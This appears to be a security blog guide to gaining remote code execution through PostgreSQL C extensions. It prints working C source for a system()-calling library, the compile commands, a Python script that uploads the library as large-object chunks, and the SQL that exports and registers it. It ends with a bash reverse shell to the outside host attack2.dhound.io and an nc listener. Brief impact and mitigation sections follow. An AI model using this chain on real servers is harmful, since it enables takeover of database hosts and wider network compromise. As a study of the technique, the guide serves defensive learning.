RCE with PostgreSQL Extensions

PostgreSQL allows loading custom C functions through shared libraries, which can be exploited for Remote Code Execution (RCE) if an attacker has sufficient privileges (e.g., SUPERUSER or CREATE privilege). This guide demonstrates how to compile a malicious extension, upload it via PostgreSQL's large object storage, and execute arbitrary commands on the underlying system.

Determine PostgreSQL Version

The first step is identifying the PostgreSQL version to ensure compatibility when compiling the shared library:

SELECT version();

Example output:

PostgreSQL 11.16 (Debian 11.16-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit

This confirms we're dealing with PostgreSQL 11.x, so we need to compile our exploit against the same major version.

Install PostgreSQL Development Tools

On your attacking machine, install the required PostgreSQL server development headers:

sudo apt install postgresql postgresql-server-dev-11

This provides the necessary header files (postgres.h, fmgr.h) for compiling C extensions.

Create the Exploit Library

Create a file named pg_exec.c with the following content:

// pg_exec.c
#include "string.h"
#include "postgres.h"
#include "fmgr.h"

PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pg_exec);

Datum
pg_exec(PG_FUNCTION_ARGS)
{
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

This defines a PostgreSQL function that takes a string argument and executes it via system(), returning the exit code.

Compile the Shared Library

Compile the code into a position-independent shared object:

gcc -I/usr/include/postgresql/11/server -shared -fPIC -o pg_exec.so pg_exec.c

Ensure the include path matches your system. You can find it using:

pg_config --includedir-server

Split Library for Upload via Large Objects

Since direct file writes may be restricted, use PostgreSQL's large object feature to upload the binary in chunks:

split -b 2048 pg_exec.so

This creates files named xa, xb, etc., each 2048 bytes in size.

Upload via Large Objects

First, create a Large Object Identifier (LOID) on the target:

SELECT lo_create(12345);

Then, generate SQL INSERT statements to upload each chunk. Run this Python script on your local machine:

import subprocess
import os
import glob

def run_xxd_on_chunk(chunk_file):
    if not os.path.exists(chunk_file):
        print(f"File {chunk_file} does not exist.")
        return None
    command = ["xxd", "-ps", "-c", "99999999999", chunk_file]
    try:
        result = subprocess.run(command, capture_output=True, text=True, check=True)
        return result.stdout.strip()
    except subprocess.CalledProcessError as e:
        print(f"Error occurred while running xxd: {e}")
        print(f"stderr: {e.stderr}")
        return None

def generate_insert_sql(loid, pageno, hex_chunk):
    return f"INSERT INTO pg_largeobject (loid, pageno, data) VALUES ({loid}, {pageno}, decode('{hex_chunk}', 'hex'));"

chunk_files = sorted(glob.glob('xa*'))
loid = 12345  # Match your LOID
with open("output.sql", "w") as output_file:
    for idx, chunk_file in enumerate(chunk_files):
        hex_chunk = run_xxd_on_chunk(chunk_file)
        if hex_chunk:
            pageno = idx
            sql_statement = generate_insert_sql(loid, pageno, hex_chunk)
            output_file.write(sql_statement + "\n")
        else:
            print(f"Failed to process {chunk_file}.")

print("SQL statements saved to output.sql")

Ensure pg_exec.so and the script are in the same directory. After running, copy the contents of output.sql and execute them on the PostgreSQL server.

Export and Execute on Target

Once all chunks are uploaded, export the binary to the filesystem:

SELECT lo_export(12345, '/tmp/pg_exec.so');

Create a PostgreSQL function that links to the shared library:

CREATE FUNCTION sys(cstring) RETURNS int
AS '/tmp/pg_exec.so', 'pg_exec'
LANGUAGE C STRICT;

Finally, trigger a reverse shell:

SELECT sys('bash -c "bash -i >& /dev/tcp/attack2.dhound.io/4444 0>&1"');
Important: Make sure you have a listener running on your attacker machine:
nc -l -p 4444 -v

Impact

Successful exploitation results in:

  • Full remote code execution on the database server.
  • Access to the underlying operating system with the privileges of the PostgreSQL process (often postgres user).
  • Potential privilege escalation, lateral movement, and full network compromise.

Mitigation and Best Practices

Prevent exploitation:

  • Never grant SUPERUSER or CREATE privileges to untrusted users.
  • Disable the postgres superuser account in production.
  • Avoid running PostgreSQL with elevated OS privileges.
  • Restrict use of LANGUAGE C for custom functions.
  • Monitor for suspicious large object creation and file exports.
  • Keep PostgreSQL updated to the latest stable version.

Published on Aug 21, 2025